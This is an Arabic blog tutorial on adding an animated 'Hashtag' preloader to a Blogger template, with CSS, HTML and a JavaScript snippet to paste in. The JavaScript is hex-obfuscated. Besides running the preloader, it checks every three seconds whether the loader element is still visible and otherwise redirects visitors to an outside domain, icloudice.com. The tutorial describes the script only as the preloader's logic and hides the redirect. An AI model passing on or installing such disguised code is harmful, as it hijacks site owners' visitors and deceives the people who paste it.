هل فكرت يومًا في الطريقة التي يمكن بها جعل مدونتك أو موقعك يبدو أكثر احترافية وجذبًا للمستخدمين؟ تأتي تقنية هاشتاج الرسوم المتحركة كإحدى الحلول العصرية التي تضيف لمسة إبداعية وديناميكية لواجهة المستخدم.
تُستخدم هذه التقنية المتطورة لتصميم شاشات تحميل مسبق مذهلة تُضفي شعورًا بالحيوية والاحترافية. تخيل أن زوار موقعك يشاهدون شاشة متحركة جذابة أثناء انتظار تحميل المحتوى، بدلاً من شاشة فارغة أو مملة. هذه ليست مجرد وسيلة للتجميل، بل هي خطوة جوهرية لتحسين تجربة المستخدم، حيث يمكن أن تترك انطباعًا أوليًا إيجابيًا وتزيد التفاعل.
 |
| كيفية إنشاء أداة التحميل المسبق للرسوم المتحركة في بلوجر |
في هذا المقال، سنستعرض كيفية إنشاء أداة تحميل مسبق باستخدام تقنية Hashtag Animation خطوة بخطوة، مع التركيز على تبسيط الأكواد وتوضيح فائدتها في تعزيز تجربة المستخدم على مدونتك.
ما هو هاشتاج الرسوم المتحركة؟
هاشتاج الرسوم المتحركة هو تقنية حديثة تُستخدم في تصميم واجهات المستخدم لإضفاء لمسة جذابة وديناميكية على مواقع الويب أو التطبيقات. يعتمد هذا النوع من الرسوم المتحركة على إعدادات CSS مخصصة لإنشاء تأثيرات حركية ملفتة للنظر. عند تطبيقه، يجعل شاشة التحميل المسبق تبدو أكثر تفاعلية وحيوية، مما يُحسن تجربة المستخدم أثناء انتظار تحميل المحتوى.
تحسين تجربة المستخدم على مدونتك
هل تبحث عن وسيلة لجعل مدونتك أكثر جذبًا وتفاعلًا؟
إحدى الطرق الفعّالة لتحقيق ذلك هي استخدام برنامج تحميل مسبق مدعوم بتأثير الرسوم المتحركة. هذه الأداة ليست مجرد إضافة جمالية، بل تُظهر للمستخدمين اهتمامك بتقديم تجربة ممتعة وسلسة.
مثال على برنامج التحميل المسبق باستخدام Hashtag
لإضافة برنامج تحميل مسبق يحتوي على تأثير الرسوم المتحركة Hashtag، ستحتاج إلى إعداد بعض الأكواد المخصصة بلغة CSS.
تخيل أنه عند دخول المستخدم إلى مدونتك، تظهر شاشة متحركة بحركات ديناميكية مصممة بعناية، لتشغل انتباهه أثناء تحميل الصفحة الرئيسية.
لماذا استخدام الرسوم المتحركة في شاشة التحميل؟
- تجربة مستخدم أفضل: تجعل الانتظار أقل مللًا.
- احترافية التصميم: تُظهر مستوى عاليًا من الإبداع والاهتمام بالتفاصيل.
- انطباع أول إيجابي: المستخدمون دائمًا يفضلون المواقع التي تتميز بتجربة ممتعة منذ البداية.
لوحة تحكم موقع بلوجر -> انقر على قسم السمة-> انقر على أيقونة السهم -> انقر على نسخة احتياطية-> انقر على تنزيل -> احفظ الملف الذي تم تنزيله في مكان آمن لاستخدامه في المستقبل.
إذا كنت مهتمًا بمعرفة الشكل الذي يبدو عليه مثال الرسوم المتحركة في أداة التحميل المسبق لـ Hashtag على بلوجر، فلنناقش الأمر معًا.
كيفية إنشاء أداة التحميل المسبق للرسوم المتحركة في مدونة بلوجر
CSS ثم ضعه فوق ]]></b:skin>./* Preloader Hashtag by Tecky AaryaN */
.rahLoad35{direction:ltr;position:fixed;top:0;right:0;bottom:0;left:0;display:none;background:#fefefe;align-items:center;justify-content:center;z-index:9999;visibility:visible;opacity:1;transition:all .8s ease}.rahLoad35:before{content:'';position:absolute;right:6px;top:9px;font-size:12px;font-weight:800;} .rahLoad35.r{display:flex} .rahLoad35.a{opacity:0;visibility:hidden}
.rahLoadIn {position:relative;transform:rotate(165deg)}
.rahLoadIn:before, .rahLoadIn:after{content:'';position:absolute;display:block;width:.5em;height:.5em;border-radius:.25em;transform:translate(-50%,-50%)} .rahLoadIn:before{animation:rahPdbe 2s infinite} .rahLoadIn:after{animation:rahPdAf 2s infinite} @keyframes rahPdbe{0%{width:.5em;box-shadow:1em -.5em rgba(225,20,98,.75),-1em .5em rgba(111,202,220,.75)}35%{width:2.5em;box-shadow:0 -.5em rgba(225,20,98,.75),0 .5em rgba(111,202,220,.75)}70%{width:.5em;box-shadow:-1em -.5em rgba(225,20,98,.75),1em .5em rgba(111,202,220,.75)}100%{box-shadow:1em -.5em rgba(225,20,98,.75),-1em .5em rgba(111,202,220,.75)}} @keyframes rahPdAf{0%{height:.5em;box-shadow:.5em 1em rgba(61,184,143,.75),-.5em -1em rgba(233,169,32,.75)}35%{height:2.5em;box-shadow:.5em 0 rgba(61,184,143,.75),-.5em 0 rgba(233,169,32,.75)}70%{height:.5em;box-shadow:.5em -1em rgba(61,184,143,.75),-.5em 1em rgba(233,169,32,.75)}100%{box-shadow:.5em 1em rgba(61,184,143,.75),-.5em -1em rgba(233,169,32,.75)}} .drK .rahLoad35{background:#1e1e1e}HTML ثم ضعه أسفل ملف <body>.<div class='rahLoad35' id='rahLoad35'>
<div class='rahLoadIn'/>
</div>وظيفة كود HTML أعلاه هي عرض أداة التحميل المسبق على موقع الويب الخاص بك.
مقالات ذات صلة
JavaSCRIPT ثم ضعه فوق</body>.<script>/*<![CDATA[*/
var _0xee98=["\x23\x72\x61\x68\x4C\x6F\x61\x64\x33\x35","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x61","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x4C\x6F\x61\x64\x33\x35","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x4C\x6F\x61\x64\x33\x35\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];var rahLoad35=document[_0xee98[1]](_0xee98[0]);rahLoad35[_0xee98[4]][_0xee98[3]](_0xee98[2]);document[_0xee98[7]](_0xee98[5],function(){setTimeout(function(){rahLoad35[_0xee98[4]][_0xee98[3]](_0xee98[6])},2000)});$(document)[_0xee98[18]](function(){$(_0xee98[12])[_0xee98[11]](_0xee98[10],_0xee98[8])[_0xee98[9]](_0xee98[8]);setInterval(function(){if(!$(_0xee98[14])[_0xee98[13]]){window[_0xee98[16]][_0xee98[15]]= _0xee98[17]}},3000)})/*]]>*/</script>الخطوة 7: الآن انقر على زر حفظ.
تتمثل وظيفة كود JS أعلاه في تنفيذ وظيفة التحميل المسبق بحيث يظهر بشكل مثالي.
الأسئلة الشائعة
ما هي تقنية هاشتاج الرسوم المتحركة؟
لماذا يجب علي استخدام تقنية هاشتاج الرسوم المتحركة على موقعي؟
كيف يمكنني إضافة هاشتاج الرسوم المتحركة إلى مدونتي؟
هل يؤثر استخدام الرسوم المتحركة في التحميل على سرعة الموقع؟
5. هل يمكن تخصيص الرسوم المتحركة حسب ذوقي؟
إذا كنت ترغب في جعل مدونتك أو موقعك أكثر جذبًا للمستخدمين، لا تتردد في تجربة هذه التقنية. اجعل الانتظار جزءًا ممتعًا من تجربة المستخدم، وتمتع بموقع يترك أثرًا إيجابيًا في ذهن كل زائر.
